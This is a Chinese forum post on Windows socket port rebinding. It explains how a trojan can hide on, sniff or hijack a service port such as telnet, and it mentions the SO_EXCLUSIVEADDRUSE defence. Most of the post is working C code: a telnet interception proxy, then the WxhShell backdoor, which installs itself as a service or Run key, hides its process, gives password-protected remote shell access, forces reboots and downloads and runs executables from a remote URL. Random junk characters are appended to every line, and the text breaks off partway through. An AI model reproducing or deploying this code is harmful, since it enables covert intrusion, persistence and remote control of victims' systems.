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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ch!/k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |L,_QXA2  
Onz@A"  
  saddr.sin_family = AF_INET; 67?O}~jbG  
\$$DM"+:;H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ) 7w%\i{M  
!o1+#DL)MU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yp9vgUs  
n Hz Xp:"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '9.L5*wh]  
!W^P|:Qt  
  这意味着什么?意味着可以进行如下的攻击: ~x4]^XS  
#-W a3P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i_Ol vuy~  
~U}0=lRVS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |ZC@l^a7  
[3o^06V8j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #%5[8~&  
0w<vc}{t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &P'd&B1   
Y?IvG&])  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?g+uJf  
G LU7?2`t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ';'gKX!9V  
}6b" JoC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~+ [T{{  
1L3 +KD~  
  #include ~)vq0]MRg  
  #include oR[-F+__  
  #include yI$KBx/]n  
  #include    3e,"B S)+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F}MjZZj(U=  
  int main() ;#)sV2F\&  
  { +7E&IK  
  WORD wVersionRequested; C)hS^D:  
  DWORD ret; 7!F<Uf,V3  
  WSADATA wsaData; l^!raoH]q  
  BOOL val; = Zi'L48  
  SOCKADDR_IN saddr; 1#}}:  
  SOCKADDR_IN scaddr; &1 t84p:^=  
  int err; ]?c9;U  
  SOCKET s; 1{1 5#W  
  SOCKET sc; S3 Dmc\f  
  int caddsize; h\-3Y U  
  HANDLE mt; ((Uw[8#2 `  
  DWORD tid;   7fE U5@  
  wVersionRequested = MAKEWORD( 2, 2 ); ;Vv.$mI  
  err = WSAStartup( wVersionRequested, &wsaData ); y8%QS*  
  if ( err != 0 ) { tK7v&[cI  
  printf("error!WSAStartup failed!\n"); wjy<{I  
  return -1; wDp5HZ>  
  } 0H!J  
  saddr.sin_family = AF_INET; -RI&uFqOI  
   ,)?!p_*@:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4m1@lnjp  
Tji*\<?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,B2p\  
  saddr.sin_port = htons(23); 'u}OeS"f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ze"`5z26|  
  { lq}m0}9<  
  printf("error!socket failed!\n"); sU7fVke1   
  return -1; s'B$/qCkR  
  } me@k~!e"z  
  val = TRUE; ?'I-_9u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [[s^rC<d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,eSII2,r4  
  { ,,8'29yEq  
  printf("error!setsockopt failed!\n"); bt'lT  
  return -1; >lkjoEVQ  
  } /JjSx/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YgV"*~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,8@q2a/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %t*KP=@  
# KUN ZW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XcFu:B  
  { w5<&b1:  
  ret=GetLastError(); bt=z6*C>A  
  printf("error!bind failed!\n"); Rt.2]eZEJ  
  return -1;  |\FJ  
  } \)M EM=U  
  listen(s,2); 7<0oK|~c#  
  while(1) `g vd 8^  
  { 4D)M_O  
  caddsize = sizeof(scaddr); IE:;`e:\D  
  //接受连接请求 gY {/)"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *JArR1J  
  if(sc!=INVALID_SOCKET) 1EMrXnv,  
  { QC Jf   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VXPs YR&  
  if(mt==NULL) P" aw--f(  
  { D4jZh+_|S  
  printf("Thread Creat Failed!\n"); n,#o6ali>  
  break; 6GMwB@ b  
  } s:xt4<  
  } ^XT;n  
  CloseHandle(mt); >)t-Zh:n  
  } "Wg5eML 0  
  closesocket(s); o*5b]XWw  
  WSACleanup(); 7Vo[zo  
  return 0; NCp]!=uM;  
  }   q|_Cj]{  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;>CM1  
  { II]-mb  
  SOCKET ss = (SOCKET)lpParam; RveEA/&&  
  SOCKET sc; Zx&=K"  
  unsigned char buf[4096]; Ow 0(q^H<  
  SOCKADDR_IN saddr; U!b~vrr^  
  long num; MjW{JR)I  
  DWORD val; ,l#f6H7p  
  DWORD ret; 9Xe|*bT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 af_b G;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uoq|l  
  saddr.sin_family = AF_INET; F;ELsg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Bq~?!~\?.  
  saddr.sin_port = htons(23); CqLAtS X7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) awgS5We|  
  { vhrURY.  
  printf("error!socket failed!\n"); =>*9"k%m  
  return -1; $Yj4&Two<  
  } \Icd>>)*  
  val = 100; !DBaC%TGC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G LA4O)  
  { Yb348kRF  
  ret = GetLastError(); x75 3o\u!  
  return -1; 'XI-x[w  
  } #]2,1dJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RY}:&vWDk  
  { .*Axr\x3  
  ret = GetLastError(); wKE}BO >  
  return -1; |!cM_&  
  } eC='[W<a.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b v 4  
  { &4m;9<8\  
  printf("error!socket connect failed!\n"); @4wN-T+1  
  closesocket(sc); $aY:Z_s  
  closesocket(ss); e@DVf  
  return -1; j34lPo `  
  } 7 V=%&+  
  while(1) ,#.9^J  
  { m^;A]0h+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D26A%[^O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T# 3`&[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `;Xwv)  
  num = recv(ss,buf,4096,0); s;,ulME  
  if(num>0) YH3[Jvzf4  
  send(sc,buf,num,0); 9u1Fk'cxG,  
  else if(num==0) yHmNO*(  
  break; ]4[^S.T=  
  num = recv(sc,buf,4096,0); n==+NL  
  if(num>0)  Fq!- %Y  
  send(ss,buf,num,0); 2+C 8w%F8  
  else if(num==0) L[Y|K%;~  
  break; pW5PF)([  
  } ;'oi7b  
  closesocket(ss); 98%6Z8AS6U  
  closesocket(sc); -O6\!Wo=-  
  return 0 ; R ]y9>5 'U  
  } yHxi^D]  
QD^"cPC)mM  
:i]g+</  
========================================================== W4S]2P>T  
1A{iUddR  
下边附上一个代码,,WXhSHELL A[N>T\  
^ =RSoR  
========================================================== D,SL_*r{  
.GuZV'  
#include "stdafx.h" fqZ+CzH  
C<hb{$@  
#include <stdio.h> l]mn4cn3  
#include <string.h> `bEum3l\6]  
#include <windows.h> &;@U54,wV  
#include <winsock2.h>  DZ&AwF  
#include <winsvc.h> ) q'~<QxI\  
#include <urlmon.h> ;aUI3n%  
* TR ~>|  
#pragma comment (lib, "Ws2_32.lib") `*Jw[Bnh8  
#pragma comment (lib, "urlmon.lib") FUKE.Uxd  
Wg5i#6y8w  
#define MAX_USER   100 // 最大客户端连接数 ATf{;S}  
#define BUF_SOCK   200 // sock buffer -u%'u~s  
#define KEY_BUFF   255 // 输入 buffer 2O)2#N  
G+l9QaFv  
#define REBOOT     0   // 重启 +ywd(Tuzm  
#define SHUTDOWN   1   // 关机 U4,hEnJBT  
nuX W/7M  
#define DEF_PORT   5000 // 监听端口 -~imxPmZ  
Y^CbpG&-vC  
#define REG_LEN     16   // 注册表键长度 XrQS?D `  
#define SVC_LEN     80   // NT服务名长度 :Qklbd[9qF  
f>C|qDmT  
// 从dll定义API 6882:,q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ! jb{q bq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x_|:3I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a3oSSkT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m&Lc."  
 kn|z  
// wxhshell配置信息 rFR2c?j8  
struct WSCFG { xn)r6  
  int ws_port;         // 监听端口 b{Kw.?85  
  char ws_passstr[REG_LEN]; // 口令 [EV}P&U  
  int ws_autoins;       // 安装标记, 1=yes 0=no N0G-/  
  char ws_regname[REG_LEN]; // 注册表键名 R7!^ M  
  char ws_svcname[REG_LEN]; // 服务名 ;t}ux  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "rI By  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o'nrLI(t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h\^> s$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JPTVZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AAt<{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ld*RL:G  
Rd.[8#7VE  
}; G0eJ<*|_ 3  
Ig6>+Mw  
// default Wxhshell configuration s% ~p?_P   
struct WSCFG wscfg={DEF_PORT, MF^I] 7_  
    "xuhuanlingzhe", P=9Zm  
    1, ^NTOZ0x~#  
    "Wxhshell", =xX\z\[A  
    "Wxhshell", >}ozEX6c2  
            "WxhShell Service", {bvm83{T  
    "Wrsky Windows CmdShell Service", $W;IW$  
    "Please Input Your Password: ", id.W"5+  
  1, J8yi#A>+  
  "http://www.wrsky.com/wxhshell.exe", Wy%F   
  "Wxhshell.exe" DqHVc)9  
    }; ^y"$k  
=7`0hS<@F  
// 消息定义模块 7a:mZ[Vh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GcPhT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <ST#< $%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p }bTI5  
char *msg_ws_ext="\n\rExit."; fE/8;v!=  
char *msg_ws_end="\n\rQuit."; wp,z~raaS  
char *msg_ws_boot="\n\rReboot..."; :B'}#;8_  
char *msg_ws_poff="\n\rShutdown..."; M('cG  
char *msg_ws_down="\n\rSave to "; l<$c.GgFd  
~!!>`x  
char *msg_ws_err="\n\rErr!"; -W+67@(\8H  
char *msg_ws_ok="\n\rOK!"; :=tPC A=  
a4}2^K  
char ExeFile[MAX_PATH]; _r|$H_#  
int nUser = 0; M_4g%uHG  
HANDLE handles[MAX_USER]; uOrvmb  
int OsIsNt; W+~ w  
z,oqYU\:  
SERVICE_STATUS       serviceStatus; B"I> mw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {P#&e>)v{  
Y2Y2>^  
// 函数声明 E#FyL>:.h  
int Install(void); ?s5zTT0U>$  
int Uninstall(void); y6o^ Knl  
int DownloadFile(char *sURL, SOCKET wsh); l%A~3  
int Boot(int flag); }x1mpPND  
void HideProc(void); %zyMWC  
int GetOsVer(void); Mf&W<n^j  
int Wxhshell(SOCKET wsl); <8 At =U  
void TalkWithClient(void *cs); v;;X2 a1k  
int CmdShell(SOCKET sock); >1tGQ cg  
int StartFromService(void); 6Bp{FOj:Ss  
int StartWxhshell(LPSTR lpCmdLine);  v|Tg %  
UG>OL2m>5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |Tz4xTK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q $`:/ ehw  
!DCJ2h%E[_  
// 数据结构和表定义 m=S[Y^tR  
SERVICE_TABLE_ENTRY DispatchTable[] = u hP0Zwn  
{ O`dob&C  
{wscfg.ws_svcname, NTServiceMain}, :u{0M&  
{NULL, NULL} zux+ooU  
}; 8y!fqXm%)  
N)h>Ie  
// 自我安装 @X/S h:  
int Install(void) ZjEO$ ts=@  
{ 5 ^iU1\(L  
  char svExeFile[MAX_PATH]; B<[;rk  
  HKEY key; E!VAA=  
  strcpy(svExeFile,ExeFile); [JVI@1T  
,/W< E  
// 如果是win9x系统,修改注册表设为自启动 lrh6lt)  
if(!OsIsNt) { ]+ ':=&+:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { );z}T0C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %MP s}B  
  RegCloseKey(key); #Y}Hh7.<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .tN)H1.:B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2>O2#53ls0  
  RegCloseKey(key); J6 [x(T  
  return 0; u?g!E."v  
    } H8K<.RY  
  } @\!wW-:A  
} ".xai.trr  
else { /@RnCjc'  
G-3.-  
// 如果是NT以上系统,安装为系统服务 #K! Df%,<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D-3/?"n  
if (schSCManager!=0) &,."=G  
{ 54J<ZXCs  
  SC_HANDLE schService = CreateService ].dTEzL9X  
  ( @mJN  
  schSCManager, 9'toj%XQ  
  wscfg.ws_svcname, Hs=!.tZ,  
  wscfg.ws_svcdisp, {|xwvTl J  
  SERVICE_ALL_ACCESS, qW7"qw=   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  A ]U]  
  SERVICE_AUTO_START, ;$&-c/]F#  
  SERVICE_ERROR_NORMAL, @LL&ggV?  
  svExeFile, L''0`a. +S  
  NULL, 4!k={Pd  
  NULL, fe37T@  
  NULL, "}SERC7  
  NULL, Lf0Hz")  
  NULL y-n\;d>[(  
  ); EJWMr`zdn  
  if (schService!=0) }7=a,1T  
  { DAu|`pyC%  
  CloseServiceHandle(schService); Xq>e]#gR  
  CloseServiceHandle(schSCManager); -;P<Q`{I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kw-/h+lG  
  strcat(svExeFile,wscfg.ws_svcname); b7AuKY{L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b=|&0B$E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YRp\#pVnZ  
  RegCloseKey(key); 9x?;;qC"m9  
  return 0; o@>c[knJ  
    } }=;>T)QmMO  
  } R\.huOJh  
  CloseServiceHandle(schSCManager); doR'=@ W  
} uAvs  
} mLk Z4OZ  
b(Z%#*e  
return 1; n/,7ryu  
} G'Q7(c  
)%y~{j+M  
// 自我卸载 =H,cwSE+%  
int Uninstall(void) 7t04!dD}  
{ CMBW]b|  
  HKEY key; <go~WpA|r  
oyr2lfz*  
if(!OsIsNt) { |~HlNUPR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R NA03  
  RegDeleteValue(key,wscfg.ws_regname); amBz75N{  
  RegCloseKey(key); 3,vH:L4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :):Y6)giBD  
  RegDeleteValue(key,wscfg.ws_regname); 'o7PIhD"  
  RegCloseKey(key); phc1AN=[E  
  return 0; /hX"O ?^  
  } @&Nvb.5nT  
} Vw{Ys6q  
} %C3cdy_c  
else { 1=;QWb6  
m|]^f;7z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i `>X5Da5  
if (schSCManager!=0) k( g$_ ]X  
{ 7&At _l_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sN C?o[9l!  
  if (schService!=0) W1@;94Sb~  
  { AltE~D/4  
  if(DeleteService(schService)!=0) { +uLo~GdbE  
  CloseServiceHandle(schService); .d "+M{I  
  CloseServiceHandle(schSCManager); oX}n"5o:  
  return 0; vR)7qX}  
  } 6fV)8,F3  
  CloseServiceHandle(schService); '!2t9B8XX  
  } Y=rr6/k  
  CloseServiceHandle(schSCManager); b}4/4Z.  
} N/%#GfXx  
} 4w z 6%  
qXI30Yo#d  
return 1; *n*y!z  
} r\ %O$zu  
9#(QS+q~  
// 从指定url下载文件 Hxl,U>za#  
int DownloadFile(char *sURL, SOCKET wsh) \a6)t%u  
{ AfEEYP)N  
  HRESULT hr; +z D'r5  
char seps[]= "/"; {6n \532@  
char *token; A$F;fCV*  
char *file; ^97ZH)Ww  
char myURL[MAX_PATH]; _#4,&bh8  
char myFILE[MAX_PATH]; dI !/:x  
v$i%>tQ\  
strcpy(myURL,sURL); _B1uE2j9  
  token=strtok(myURL,seps); J:lwq@u  
  while(token!=NULL) V[I<9xaE  
  { -$)Et|  
    file=token; A C^[3  
  token=strtok(NULL,seps); pHvE`s"Ea  
  } vQ/\BN  
*_QHtZG  
GetCurrentDirectory(MAX_PATH,myFILE); |d5L Ifb(  
strcat(myFILE, "\\"); -{*V)J_Co  
strcat(myFILE, file); DXz8C -  
  send(wsh,myFILE,strlen(myFILE),0); -(uBTO s  
send(wsh,"...",3,0); e\_6/j7'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c_q+_$t  
  if(hr==S_OK) 0X?fDz}jd  
return 0; ~yi&wbTjM  
else [~<',,tA0|  
return 1; N1!5J(V4  
Z]S0AB.Z@  
} 5 WppV3;  
u-9t s  
// 系统电源模块 4) 3pa*  
int Boot(int flag) ? 03Zy3 /  
{ 2jZ}VCzRG  
  HANDLE hToken; 48g^~{T4O  
  TOKEN_PRIVILEGES tkp; J\so8uT:  
Kk98FI0]  
  if(OsIsNt) { ;0!Wd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'q'Y:A?,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8~ )[d!'  
    tkp.PrivilegeCount = 1; 4)iEj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ijqdZ+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &{/>Sv!6#  
if(flag==REBOOT) { i`aG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (YJ AT  
  return 0; #=H}6!18  
} JX)z<Dz$  
else { Cj1UD;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B ^(rUR  
  return 0; *wB-lg7%  
} ,A!e"=HF  
  } b<(UmRxx3  
  else { % B &?D@  
if(flag==REBOOT) { ePpK+E[0Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~9 WJrRWB  
  return 0; ,Q#tA|:8j  
} '<=MhNh\  
else { gqD^Bs'VF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fF>qU-  
  return 0; YaZt+WA  
}  |~uzQU7  
} W:poUG1UR  
/e sk  
return 1; m=.7f9  
} z83:a)U  
`VFl|o#H  
// win9x进程隐藏模块 ZU.)K>'  
void HideProc(void) :ZfUjqRE  
{ ,N7l/6  
pd>a6 lI`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~R@m!'I k  
  if ( hKernel != NULL ) :/[YY?pg-  
  { : |*,Lwvd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sHTePEJ_h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @*"<U]  
    FreeLibrary(hKernel); /-YlC (kL  
  } /N]Ow  
&#oZ>`Qu  
return; )4)iANH?  
} `;qv}  
31sgf5 s  
// 获取操作系统版本 C$RAJ  
int GetOsVer(void) Omh&)|Iql  
{ b)hOzx  
  OSVERSIONINFO winfo; vx5o k1UY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tbzvO<~  
  GetVersionEx(&winfo); q\b ?o!# _  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,o>pmaoLs  
  return 1; l&sO?P[ /  
  else Xf_tj:eO~  
  return 0; ~sHZh  
} &]yJCzo]  
Y5i`pY/}#?  
// 客户端句柄模块 G2+)R^FSC  
int Wxhshell(SOCKET wsl) BdoC6H  
{ v*'iWHCl,  
  SOCKET wsh; io Y\8i  
  struct sockaddr_in client; d!QD vO  
  DWORD myID; BQul iX&  
zj$_iB`9  
  while(nUser<MAX_USER) =Sb:<q+Q  
{ gj egzKU  
  int nSize=sizeof(client); ;p#Z:6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -6~dJTm[t  
  if(wsh==INVALID_SOCKET) return 1; 1|EU5<  
p-yOiG8b}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a,57`Ks+n<  
if(handles[nUser]==0) $|cp;~ 1  
  closesocket(wsh); &Rl3y\ r  
else [5p7@6:$u  
  nUser++; KG-k$glD  
  } ;vv!qBl|@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \, %o>M'  
QVG0>,+}$  
  return 0; ;[OJ-|Q  
} @maZlw1q  
itC *Z6^  
// 关闭 socket _KM$u>B8  
void CloseIt(SOCKET wsh) hKH$AEHEU}  
{ Ss<_K>wk  
closesocket(wsh); d1uG[  
nUser--; (:y,CsR}4  
ExitThread(0); }Uwkef.Q  
} V:F+HMBk  
cdJ`Gk  
// 客户端请求句柄 f.$aFOn  
void TalkWithClient(void *cs) .i3lG( YG  
{ 6h:?u4  
(w#slTFT  
  SOCKET wsh=(SOCKET)cs; 5y[b8mur  
  char pwd[SVC_LEN]; "x.6W!  
  char cmd[KEY_BUFF]; C{`^9J-  
char chr[1]; K?FX<PT  
int i,j; [aWDD[#j~  
5&-j{J0iV  
  while (nUser < MAX_USER) { l)i &ATvCE  
{+/ .5  
if(wscfg.ws_passstr) { !rsa4t@ t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |?2 hml  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i!.I;@  
  //ZeroMemory(pwd,KEY_BUFF); 47C(\\  
      i=0; 0V>ESyae5  
  while(i<SVC_LEN) { a*W_fxb  
%<=w[*i  
  // 设置超时 .o\;,l2  
  fd_set FdRead; \`P2Yq  
  struct timeval TimeOut; clq~ ;hx  
  FD_ZERO(&FdRead);  9+'@  
  FD_SET(wsh,&FdRead); M}=s3[d(,  
  TimeOut.tv_sec=8; #7-kL7 MK]  
  TimeOut.tv_usec=0;  \8>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fi?32e4KI5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bRK CY6  
wuBlFUSg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R8=I)I-8  
  pwd=chr[0]; ?ae[dif  
  if(chr[0]==0xd || chr[0]==0xa) { v9t4 7>V  
  pwd=0; ^)9MzD^_nV  
  break; .# !'c  
  } Nl$gU3kL  
  i++; hs!UX=x|  
    } TbKP8zw{  
O?nPxa<  
  // 如果是非法用户,关闭 socket H)`CncB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xfV,==uF  
} xZ.~:V03\t  
W9&0k+#^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 93E,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7d|*postv  
x9x#'H3  
while(1) { .])>A')r  
ba(arGZ+{  
  ZeroMemory(cmd,KEY_BUFF); >-_:*/66!  
OYszW]UMg  
      // 自动支持客户端 telnet标准   XD $%  
  j=0; fV.A=*1l#  
  while(j<KEY_BUFF) { ^eT DD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L;1$xI8tx  
  cmd[j]=chr[0]; u%6Irdx  
  if(chr[0]==0xa || chr[0]==0xd) { Z/89&Uy`h  
  cmd[j]=0; lj " Z  
  break; NCowt|#t  
  } YVQ_tCC_!  
  j++; la G$v-r  
    } RLYU\@kK?  
18DTv6?QG  
  // 下载文件 M>*0r<qn  
  if(strstr(cmd,"http://")) { Vl5SL{+D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _o@(wGeu#  
  if(DownloadFile(cmd,wsh)) G$?|S@I,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4zo4H~@gk  
  else !Y ;H(.A/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N5pinR5 H  
  } Xt</ -`  
  else { iGG6Myp-  
y-w2O]  
    switch(cmd[0]) { Ujce |>Wn  
  `3 f_d}b  
  // 帮助 -Z:]<;qU  
  case '?': { U0NOU#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w)45SZ.  
    break; B#HV20\?v  
  } +V)qep"  
  // 安装 eV[`P&j_C  
  case 'i': { P'a0CE%  
    if(Install()) qn2o[x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:uReT  
    else L*zbike  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZWf-X  
    break; q*~gWn>T  
    } GY oZ$p"C  
  // 卸载 rPRrx-A  
  case 'r': { ;;ER"N  
    if(Uninstall()) Sg-g^ dIN1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6OfdD.y  
    else 8|1`Tn}o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G 6Wx3~  
    break; El~-M`Gf  
    } o .l;: Un  
  // 显示 wxhshell 所在路径 uz]E_&2  
  case 'p': { 3^!Hl8P7  
    char svExeFile[MAX_PATH]; 1a<]$tZk  
    strcpy(svExeFile,"\n\r"); U{73Xax  
      strcat(svExeFile,ExeFile); Vo #:CB=8  
        send(wsh,svExeFile,strlen(svExeFile),0); , p_G/ OU  
    break; Nc{]zWL9  
    } HbNYP/MN3  
  // 重启 q.-y)C) ;  
  case 'b': { o:_^gJ+|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \M7I&~V  
    if(Boot(REBOOT)) u FMIY(vB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kt :)W])V  
    else { C1V# ?03eI  
    closesocket(wsh); V/J>GRjw  
    ExitThread(0); pss6Oz8  
    } s0r"N7~  
    break; Y5HfN[u^7  
    } wuKl-:S;Vs  
  // 关机 g]za"U|g  
  case 'd': { \@i=)dA  
